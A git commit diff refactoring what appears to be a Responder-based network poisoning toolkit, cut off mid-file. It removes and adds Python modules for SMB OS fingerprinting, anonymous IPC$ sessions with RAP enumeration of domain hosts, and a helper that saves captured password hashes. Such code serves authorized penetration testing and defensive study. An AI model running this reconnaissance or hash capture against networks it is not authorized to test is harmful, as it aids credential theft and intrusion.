first pass at refactoring:

directory structure has been simplified by grouping all the poisoners and servers in one folder
impacket smb server has been replaced with responder's
flask http server has beem replaced with responder's
modified config file to support new changes
This commit is contained in:
byt3bl33d3r 2015-08-02 21:15:10 +02:00
commit fd9b79c617
87 changed files with 3921 additions and 3755 deletions

View file

@ -1,102 +0,0 @@
#common functions that are used throughout the Responder's code
import os
import re
#Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
if os.path.isfile(outfile) == False:
with open(outfile,"w") as outf:
outf.write(data)
outf.write("\n")
outf.close()
if os.path.isfile(outfile) == True:
with open(outfile,"r") as filestr:
if re.search(user.encode('hex'), filestr.read().encode('hex')):
filestr.close()
return False
if re.search(re.escape("$"), user):
filestr.close()
return False
else:
with open(outfile,"a") as outf2:
outf2.write(data)
outf2.write("\n")
outf2.close()
def Parse_IPV6_Addr(data):
if data[len(data)-4:len(data)][1] =="\x1c":
return False
if data[len(data)-4:len(data)] == "\x00\x01\x00\x01":
return True
if data[len(data)-4:len(data)] == "\x00\xff\x00\x01":
return True
else:
return False
#Function name self-explanatory
def Is_Finger_On(Finger_On_Off):
if Finger_On_Off == True:
return True
if Finger_On_Off == False:
return False
def RespondToSpecificHost(RespondTo):
if len(RespondTo)>=1 and RespondTo != ['']:
return True
else:
return False
def RespondToSpecificName(RespondToName):
if len(RespondToName)>=1 and RespondToName != ['']:
return True
else:
return False
def RespondToIPScope(RespondTo, ClientIp):
if ClientIp in RespondTo:
return True
else:
return False
def RespondToNameScope(RespondToName, Name):
if Name in RespondToName:
return True
else:
return False
##Dont Respond to these hosts/names.
def DontRespondToSpecificHost(DontRespondTo):
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
return True
else:
return False
def DontRespondToSpecificName(DontRespondToName):
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
return True
else:
return False
def DontRespondToIPScope(DontRespondTo, ClientIp):
if ClientIp in DontRespondTo:
return True
else:
return False
def DontRespondToNameScope(DontRespondToName, Name):
if Name in DontRespondToName:
return True
else:
return False
def IsOnTheSameSubnet(ip, net):
net = net+'/24'
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
netstr, bits = net.split('/')
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
return (ipaddr & mask) == (netaddr & mask)
def FindLocalIP(Iface):
return OURIP

View file

@ -0,0 +1,68 @@
#!/usr/bin/env python
# This file is part of Responder
# Original work by Laurent Gaffie - Trustwave Holdings
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re
import sys
import socket
import struct
import string
import logging
from utils import *
from odict import OrderedDict
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
def OsNameClientVersion(data):
try:
length = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoFingerData())
n.calculate()
Packet = str(h)+str(n)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
s.send(Buffer)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
Body = SMBSessionFingerData()
Body.calculate()
Packet = str(Header)+str(Body)
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
s.send(Buffer)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)
except:
print color("[!] ", 1, 1) +" Fingerprint failed"
return None

View file

@ -1,121 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,sys,socket,struct,string
from socket import *
from ..odict import OrderedDict
from ..packet import Packet
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
def OsNameClientVersion(data):
try:
lenght = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
OsVersion, ClientVersion = tuple(var)
return OsVersion, ClientVersion
except:
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
def RunSmbFinger(host):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
final = t
packet0 = str(head)+str(final)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)

View file

@ -1,132 +0,0 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import re,socket,struct
from socket import *
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x00"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x62\x00"),
("data", "")
])
def calculate(self):
self.fields["bcc"] = struct.pack("<h",len(str(self.fields["data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("separator3","\x02"),
("dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("separator4","\x02"),
("dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("separator5","\x02"),
("dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("separator6","\x02"),
("dialect6", "\x4e\x54\x20\x4c\x4d\x20\x30\x2e\x31\x32\x00"),
])
class SMBSessionFingerData(Packet):
fields = OrderedDict([
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\x00\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("securitybloblength","\x4a\x00"),
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1",""),
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
])
def calculate(self):
self.fields["bcc1"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
def OsNameClientVersion(data):
lenght = struct.unpack('<H',data[43:45])[0]
pack = tuple(data[47+lenght:].split('\x00\x00\x00'))[:2]
var = [e.replace('\x00','') for e in data[47+lenght:].split('\x00\x00\x00')[:2]]
OsVersion = tuple(var)[0]
return OsVersion
def RunSmbFinger(host):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(0.7)
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
t.calculate()
final = t
packet0 = str(head)+str(final)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
return OsNameClientVersion(data)

View file

@ -1,236 +0,0 @@
import socket
import threading
import struct
import logging
import string
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
from core.responder.fingerprinter.RAPLANMANPackets import *
from core.logger import logger
formatter = logging.Formatter("%(asctime)s [LANfingerprinter] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
log = logger().setup_logger("LANfingerprinter", formatter)
class LANfingerprinter():
def start(self, options):
global args; args = options
try:
log.debug("online")
server = ThreadingUDPServer(("0.0.0.0", 138), Browser)
t = threading.Thread(name="LANfingerprinter", target=server.serve_forever)
t.setDaemon(True)
t.start()
except Exception as e:
log.error("Error starting on port 138: {}:".format(e))
class ThreadingUDPServer(ThreadingMixIn, UDPServer):
allow_reuse_address = 1
def server_bind(self):
UDPServer.server_bind(self)
class Browser(BaseRequestHandler):
def handle(self):
try:
request, socket = self.request
if args.analyze:
ParseDatagramNBTNames(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
BecomeBackup(request,self.client_address[0])
except Exception:
pass
def NBT_NS_Role(data):
Role = {
"\x41\x41\x00":"Workstation/Redirector Service.",
"\x42\x4c\x00":"Domain Master Browser. This name is likely a domain controller or a homegroup.)",
"\x42\x4d\x00":"Domain controller service. This name is a domain controller.",
"\x42\x4e\x00":"Local Master Browser.",
"\x42\x4f\x00":"Browser Election Service.",
"\x43\x41\x00":"File Server Service.",
"\x41\x42\x00":"Browser Service.",
}
if data in Role:
return Role[data]
else:
return "Service not known."
def Decode_Name(nbname):
#From http://code.google.com/p/dpkt/ with author's permission.
try:
if len(nbname) != 32:
return nbname
l = []
for i in range(0, 32, 2):
l.append(chr(((ord(nbname[i]) - 0x41) << 4) |
((ord(nbname[i+1]) - 0x41) & 0xf)))
return filter(lambda x: x in string.printable, ''.join(l).split('\x00', 1)[0].replace(' ', ''))
except Exception as e:
log.debug("Error parsing NetBIOS name: {}".format(e))
return "Illegal NetBIOS name"
def WorkstationFingerPrint(data):
Role = {
"\x04\x00" :"Windows 95",
"\x04\x10" :"Windows 98",
"\x04\x90" :"Windows ME",
"\x05\x00" :"Windows 2000",
"\x05\x00" :"Windows XP",
"\x05\x02" :"Windows 2003",
"\x06\x00" :"Windows Vista/Server 2008",
"\x06\x01" :"Windows 7/Server 2008R2",
}
if data in Role:
return Role[data]
else:
return False
def PrintServerName(data, entries):
if entries == 0:
pass
else:
entrieslen = 26*entries
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size) ]
l =[]
for x in ServerName:
if WorkstationFingerPrint(x[16:18]):
l.append(x[:16].replace('\x00', '')+'| OS:%s'%(WorkstationFingerPrint(x[16:18])))
else:
l.append(x[:16].replace('\x00', ''))
return l
def ParsePacket(Payload):
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
StatusCode = Payload[PayloadOffset-4:PayloadOffset-2]
if StatusCode == "\x00\x00":
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
ParsedNames = PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
return ParsedNames
else:
return None
def RAPThisDomain(Client,Domain):
try:
l =[]
for x in range(1):
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
if PDC is not None:
l.append('[LANFingerprinter]')
l.append('Domain detected on this network:')
for x in PDC:
l.append(' -'+x)
SQL = RapFinger(Client,Domain,"\x04\x00\x00\x00")
if SQL is not None:
l.append('SQL Server detected on Domain {}:'.format(Domain))
for x in SQL:
l.append(' -'+x)
WKST = RapFinger(Client,Domain,"\xff\xff\xff\xff")
if WKST is not None:
l.append('Workstations/Servers detected on Domain {}:'.format(Domain))
for x in WKST:
l.append(' -'+x)
else:
pass
return '\n'.join(l)
except:
pass
def RapFinger(Host,Domain, Type):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((Host,445))
s.settimeout(0.3)
h = SMBHeader(cmd="\x72",mid="\x01\x00")
n = SMBNegoData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(1024)
##Session Setup AndX Request, Anonymous.
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",mid="\x02\x00")
t = SMBSessionData()
t.calculate()
final = t
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Tree Connect IPC$.
if data[8:10] == "\x73\x00":
head = SMBHeader(cmd="\x75",flag1="\x08", flag2="\x01\x00",uid=data[32:34],mid="\x03\x00")
t = SMBTreeConnectData(Path="\\\\"+Host+"\\IPC$")
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(1024)
##Rap ServerEnum.
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x08", flag2="\x01\xc8",uid=data[32:34],tid=data[28:30],pid=data[30:32],mid="\x04\x00")
t = SMBTransRAPData(Data=RAPNetServerEnum3Data(ServerType=Type,DetailLevel="\x01\x00",TargetDomain=Domain))
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
data = s.recv(64736)
##Rap ServerEnum, Get answer and return what we're looking for.
if data[8:10] == "\x25\x00":
s.close()
return ParsePacket(data)
except:
return None
def BecomeBackup(data, Client):
try:
DataOffset = struct.unpack('<H',data[139:141])[0]
BrowserPacket = data[82+DataOffset:]
if BrowserPacket[0] == "\x0b":
ServerName = BrowserPacket[1:]
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role = NBT_NS_Role(data[45:48])
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
log.warning(Message1)
log.warning("Datagram Request from {} | Hostname: {} via the {} wants to become a Local Master Browser Backup on this domain: {}.".format(Client, Name,Role,Domain))
except:
pass
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
log.warning(Message1)
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass
def ParseDatagramNBTNames(data,Client):
try:
Domain = Decode_Name(data[49:81])
Name = Decode_Name(data[15:47])
Role1 = NBT_NS_Role(data[45:48])
Role2 = NBT_NS_Role(data[79:82])
if Role2 == "Domain controller service. This name is a domain controller." or Role2 == "Browser Election Service." or Role2 == "Local Master Browser.":
if args.analyze:
Message1=RAPThisDomain(Client,Domain)
log.warning(Message1)
log.warning('Datagram Request from: {} | Hostname: {} via the {} to {} | Service: {}'.format(Client, Name, Role1, Domain, Role2))
except:
pass

View file

@ -1,146 +0,0 @@
import struct
from core.responder.odict import OrderedDict
from core.responder.packet import Packet
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x08"),
("flag2", "\x01\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x3c\x1b"),
("uid", "\x00\x00"),
("mid", "\x00\x00"),
])
class SMBNegoData(Packet):
fields = OrderedDict([
("wordcount", "\x00"),
("bcc", "\x54\x00"),
("separator1","\x02" ),
("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("separator2","\x02"),
("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
])
def calculate(self):
CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"])
self.fields["bcc"] = struct.pack("<h",len(CalculateBCC))
class SMBSessionData(Packet):
fields = OrderedDict([
("wordcount", "\x0a"),
("AndXCommand", "\xff"),
("reserved","\x00"),
("andxoffset", "\x00\x00"),
("maxbuff","\xff\xff"),
("maxmpx", "\x02\x00"),
("vcnum","\x01\x00"),
("sessionkey", "\x00\x00\x00\x00"),
("PasswordLen","\x18\x00"),
("reserved2","\x00\x00\x00\x00"),
("bcc","\x3b\x00"),
("AccountPassword",""),
("AccountName",""),
("AccountNameTerminator","\x00"),
("PrimaryDomain","WORKGROUP"),
("PrimaryDomainTerminator","\x00"),
("NativeOs","Unix"),
("NativeOsTerminator","\x00"),
("NativeLanman","Samba"),
("NativeLanmanTerminator","\x00"),
])
def calculate(self):
CompleteBCC = str(self.fields["AccountPassword"])+str(self.fields["AccountName"])+str(self.fields["AccountNameTerminator"])+str(self.fields["PrimaryDomain"])+str(self.fields["PrimaryDomainTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLanman"])+str(self.fields["NativeLanmanTerminator"])
self.fields["bcc"] = struct.pack("<h", len(CompleteBCC))
self.fields["PasswordLen"] = struct.pack("<h", len(str(self.fields["AccountPassword"])))
class SMBTreeConnectData(Packet):
fields = OrderedDict([
("Wordcount", "\x04"),
("AndXCommand", "\xff"),
("Reserved","\x00" ),
("Andxoffset", "\x00\x00"),
("Flags","\x08\x00"),
("PasswdLen", "\x01\x00"),
("Bcc","\x1b\x00"),
("Passwd", "\x00"),
("Path",""),
("PathTerminator","\x00"),
("Service","?????"),
("Terminator", "\x00"),
])
def calculate(self):
self.fields["PasswdLen"] = struct.pack("<h", len(str(self.fields["Passwd"])))[:2]
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete))
class RAPNetServerEnum3Data(Packet):
fields = OrderedDict([
("Command", "\xd7\x00"),
("ParamDescriptor", "WrLehDzz"),
("ParamDescriptorTerminator", "\x00"),
("ReturnDescriptor","B16BBDz"),
("ReturnDescriptorTerminator", "\x00"),
("DetailLevel", "\x01\x00"),
("RecvBuff","\xff\xff"),
("ServerType", "\x00\x00\x00\x80"),
("TargetDomain","SMB"),
("RapTerminator","\x00"),
("TargetName","ABCD"),
("RapTerminator2","\x00"),
])
class SMBTransRAPData(Packet):
fields = OrderedDict([
("Wordcount", "\x0e"),
("TotalParamCount", "\x24\x00"),
("TotalDataCount","\x00\x00" ),
("MaxParamCount", "\x08\x00"),
("MaxDataCount","\xff\xff"),
("MaxSetupCount", "\x00"),
("Reserved","\x00\x00"),
("Flags", "\x00"),
("Timeout","\x00\x00\x00\x00"),
("Reserved1","\x00\x00"),
("ParamCount","\x24\x00"),
("ParamOffset", "\x5a\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x7e\x00"),
("SetupCount", "\x00"),
("Reserved2", "\x00"),
("Bcc", "\x3f\x00"),
("Terminator", "\x00"),
("PipeName", "\\PIPE\\LANMAN"),
("PipeTerminator","\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["PipeTerminator"] = "\x00\x00\x00\x00"
else:
self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le')
##Data Len
self.fields["TotalParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
self.fields["ParamCount"] = struct.pack("<i", len(str(self.fields["Data"])))[:2]
##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<i", len(FindRAPOffset)+32)[:2]
##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2]

View file

@ -1,480 +0,0 @@
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
##################################################################################
#SMB Client Stuff
##################################################################################
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
class SMBHeader(Packet):
fields = OrderedDict([
("proto", "\xff\x53\x4d\x42"),
("cmd", "\x72"),
("error-code", "\x00\x00\x00\x00" ),
("flag1", "\x00"),
("flag2", "\x00\x00"),
("pidhigh", "\x00\x00"),
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("reserved", "\x00\x00"),
("tid", "\x00\x00"),
("pid", "\x00\x4e"),
("uid", "\x00\x08"),
("mid", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("Separator1","\x02" ),
("Dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"),
("Separator2","\x02"),
("Dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"),
("Separator3","\x02"),
("Dialect3", "\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61\x00"),
("Separator4","\x02"),
("Dialect4", "\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00"),
("Separator5","\x02"),
("Dialect5", "\x4c\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00"),
("Separator6","\x02"),
